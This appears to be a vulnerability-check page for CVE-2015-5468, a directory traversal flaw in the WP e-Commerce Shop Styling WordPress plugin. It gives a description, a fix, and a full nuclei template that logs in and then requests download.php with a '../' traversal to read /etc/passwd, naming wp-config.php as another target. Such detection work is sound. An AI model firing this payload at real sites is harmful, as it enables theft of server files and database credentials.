WP e-Commerce Shop Styling <= 2.5 - Authenticated Directory Traversal / Arbitrary File Read

highseverity

6.5CVSS score

37.8%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

WP e-Commerce Shop Styling plugin for WordPress versions 2.5 and below contains a directory traversal vulnerability in includes/download.php. The 'filename' parameter is passed directly to readfile() without sanitization, allowing authenticated users to read arbitrary files on the server. Any authenticated WordPress user (including subscriber-level) can exploit this to download sensitive files such as /etc/passwd or wp-config.php. The endpoint requires WordPress authentication via wp-admin/admin.php; unauthenticated requests are redirected to wp-login.php. This template authenticates to WordPress first, then exploits the traversal.

Impact

An authenticated attacker with any WordPress role (subscriber or above) can read arbitrary files from the server, including configuration files containing database credentials, authentication keys/salts, and system files. Reading wp-config.php enables admin cookie forging and direct database access.

Fix

Upgrade to WP e-Commerce Shop Styling version 2.6 or later, which rejects filenames containing "/" and requires the .pdf extension. Alternatively, remove the plugin if no longer needed.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(to_lower(header), "wordpress_logged_in")
Send: GET /wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php?filename={{traversal}}{{target_file}}
Positive when: matches /root:.*:0:0:/ AND contains in header "attachment; filename=" AND status 200

Run it with nuclei: nuclei -id CVE-2015-5468 -u <target>

The full check

id: CVE-2015-5468

info:
  name: WP e-Commerce Shop Styling <= 2.5 - Authenticated Directory Traversal / Arbitrary File Read
  author: DhiyaneshDk
  severity: high
  description: |
    WP e-Commerce Shop Styling plugin for WordPress versions 2.5 and below contains a directory traversal vulnerability in includes/download.php. The 'filename' parameter is passed directly to readfile() without sanitization, allowing authenticated users to read arbitrary files on the server. Any authenticated WordPress user (including subscriber-level) can exploit this to download sensitive files such as /etc/passwd or wp-config.php. The endpoint requires WordPress authentication via wp-admin/admin.php; unauthenticated requests are redirected to wp-login.php. This template authenticates to WordPress first, then exploits the traversal.
  impact: |
    An authenticated attacker with any WordPress role (subscriber or above) can read arbitrary files from the server, including configuration files containing database credentials, authentication keys/salts, and system files. Reading wp-config.php enables admin cookie forging and direct database access.
  remediation: |
    Upgrade to WP e-Commerce Shop Styling version 2.6 or later, which rejects filenames containing "/" and requires the .pdf extension. Alternatively, remove the plugin if no longer needed.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5468
    - https://www.exploit-db.com/exploits/37422
    - https://wpscan.com/vulnerability/2f084e8a-c7d6-43c2-8834-7e4a6d501c8a
    - https://wordpress.org/plugins/wp-ecommerce-shop-styling/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2015-5468
    epss-score: 0.24093
    epss-percentile: 0.97863
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: haet
    product: wp-ecommerce-shop-styling
    framework: wordpress
    shodan-query: http.component:"WordPress"
  tags: cve,cve2015,wordpress,wp-plugin,wp-ecommerce-shop-styling,lfi,traversal,authenticated,vkev

variables:
  traversal: "../../../../../../../"
  target_file: "etc/passwd"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - contains(to_lower(header), "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php?filename={{traversal}}{{target_file}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "attachment; filename="

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from